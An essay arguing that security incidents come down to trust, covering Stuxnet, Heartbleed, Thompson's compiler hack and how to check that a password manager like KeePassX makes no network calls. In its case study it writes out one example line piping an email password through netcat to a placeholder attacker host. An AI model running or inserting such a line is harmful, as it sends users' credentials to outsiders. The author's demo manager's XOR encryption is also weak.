The role of Trust on InfoSec Incidents

Security boils down to be entirely about trust, if you come to think of it. Every information security incident could somehow be rephrased to include the word “Trust” in its reasons of happening. Just try anything:

• SQL Injections all over the Web (and injection family exploits): “Mistrusted user input”.
• Cross-Site Scripting: Mistrusting that a site will run on your browser only non-malicious code.
• Superfish Incident: Add of an untrusted SSL Certificate in the Trust List of all computers from Lenovo.
• Stuxnet:
  • Enough trust to a USB removable medium for it to be plugged in an “Air-gapped” computer.
  • Trust of the engineers on what they see (the backdoored health monitoring indication of the centrifuges) rather than what they hear (the centrifuges screaming as they were over-spinning).
• Heartbleed, Shellshock: Trust on Open Source code auditing (as those were glaring bugs – and not the only ones)
• Snowden’s leaks (it is a Security Incident for the 3-letter guys): Too much Trust on an employee (even a high positioned one).
• … add your favorite Incident here …

And I mean all Security, Crypto included…

Encryption algorithms are trusted to be working. I mean there are Proofs on that they work (work means that decryption undoes encryption) but there aren’t proofs on that there can be no ways to deduce easily the key (easily meaning “easier than brute force”). There are also “Backdoored Ciphers” (with DES flirting closely with this speculation). Do we Trust these? Of, course not! Did we trust them before speculating or prooving they were backdoored? Sure, I mean, why not (DES was the fuckin’ Encryption Standard, as its name implies).

In the same manner: Today we trust AES. Ιf tomorrow we find out that there is a way to (instantly) decrypt every AES communication, we won’t trust it anymore. Meanwhile someone is reading us… And we have ourselves another trust-based security incident.

 

Why Trust anyway?

As  Ernst Alexander Rauter put it, in his famous “Creating subject people – How an opinion forms in the mind” (a book that isn’t sold on amazon in english – german edition),: “Trust is something that always upflows, from low power people to higher power people“. This is a very rough translation of the fact that people tend to trust things they don’t manipulate. Also people never want to feel scammed, so in defense of the exploration of an unwanted truth they prefer to just “trust“.

That’s why we trust crypto, and we trust our Operating System or our car. Because we can’t be 100% sure about their actions. So we politely assume that everything works as intended. Just to be gentle with ourselves.

 

The Trust Game in Computers

One of UNIX’s fathers, Ken Thompson, (apart from being the reason you see a.out files when compiling without arguments), implied a groundbreaking question in 1984 (a really controversial date!): “Do you trust your compiler? Do you trust your compiler so much that you are sure that when you compile the /bin/login binary, it won’t plant a backdoor in it?“. I am talking about the well-known “Ken Thompson Hack” documented in his awesome paper “Reflections on Trusting Trust“.

The truth is we trust our default gcc installation, and –seriously– never questioned it. It seems far-fetched to believe that there is such possibility. The reason for that is because we have to be reverse engineers to actually Check It. And this isn’t the case for the most of us…

 

 

Asking for and gaining Trust

My case study subject

Do you know about the kind of application called “Password Manager“? Applications like  “KeePass” that keep all your passwords in one place. They save them to disk in encrypted form and copy them to your clipboard whenever you need them, while you protect them all with a single “Master Password/Decryption Key“.

Asking for Trust

Those applications need a whole lot of trust from the users that use them. They could easily exfiltrate all your passwords to an unknown location without you noticing. In reality the only password worth exfiltrating is your email account’s password. If someone accesses your email’s password, the “Forgot my Password” button could do the rest of the work in all websites you’ve registered…

Gaining Trust

So how an application so crucial to your privacy gains Trust?

Well most of the time it doesn’t. Most of the time people assume that the binaries they download will do what they were described they do. Even their DLLs. But that’s because most people can’t actually check what an executable is doing. They trust because of their inability to know.

We need to go deeper

For an infosec researcher trust is gained. I trust that nmap works the way it works as I have wireshark‘d it a whole lot of times. I am sure https meterpreter is stealthy enough in many cases as I had it bypass my own firewall first. And I trust that keepass doesn’t make remote connections because of this:

n0p_sl3d@hostname:~$ objdump -D $(which keepassx) | grep socket
n0p_sl3d@hostname:~$

while:

n0p_sl3d@hostname:~$ objdump -D $(which netcat) | grep socket | wc -l
874

If you are used to C language Socket Programming you know that the way to open a network connection is through the socket function. And, in the untrimmed, non-statically compiled version of keepassx I use, there are no such calls in the binary. That’s definitely a good sign! Some trust is gained now!

But if you think of it, a call like:

system("echo %s | nc bad-domain.ddns.net 8080" % email_password);

doesn’t create a socket but would still exfiltrate my pass. That’s why keepass is Open Source. Just grep the code for similar looking calls, if you find any, keepass is a nasty traitor…

Sure that’s a lot of work but it is also your call how far you can go. Depending on how much you value your passwords. It’s a trade-of.

 

 For the Unconvinced

If keepass has a backdoor (while open-source) it has to be hidden in a smart way. And while you don’t know the author, you can’t be sure about his intentions. The only way to trust some things is to be 100% sure about how they operate. That brings us to the last part of this post:

 

100% Trust

The person highest in the Trust Scale, we maintain inside us, is ourselves. We ultimately believe in our eyes and hands. The Password Manager we will trust the most is the one that we will write ourselves or the one we carefully went through its code, and understood it line by line…

This tends to be impossible for most Open Source projects, sometimes even for their contributors. Trust in Open Source projects suggests smaller, more comprehensive projects, in a Programming Language for humans, to be achieved in the desired 100% percent…

 

Python to the rescue!

There are like 15 actively used Programming Languages nowadays, but the ones they maintain a tiny chance of being understood in a glimpse of an eye are the english-like scripting ones (that means Python only).

So the goal was to create a Proof of Concept Python Password Manager that wouldn’t exceed 50 lines of code(single file) and will provide reasonable security, while being as easy to understand as possible maintaining the basic features. That way people would use it and be absolutely sure about what it does. The goal was to convince the unconvinced that this tool works as intended and only as intended. And here it is!

TinyPwdMan

TinyPwdMan‘s code can be found here: https://github.com/operatorequals/TinyPwdMan/blob/master/TinyPwdMan.py

The Source Code fits in a single page without scrolling! It uses master password, XOR encryption and can even copy to clipboard. It’s initial size is 38 lines.

It isn’t designed for real use (while it works flawlessly), but for a demonstration on what can really be absolutely trusted, and what is trusted because of its convenience. Because let me tell you: keepass beats that little Password Manager out of the water when it comes to convenience.

Either way, your passwords are as unsafe as the weakest link of your chain in which you use them. From mind, to keyboard, to OS, to application, to network, to the other side.

And the weakest link is not the encryption, nor the possibility of an exfiltration that would cost a Password Manager Author his reputation (once discovered), and probably his career and life.

The weakest link is you!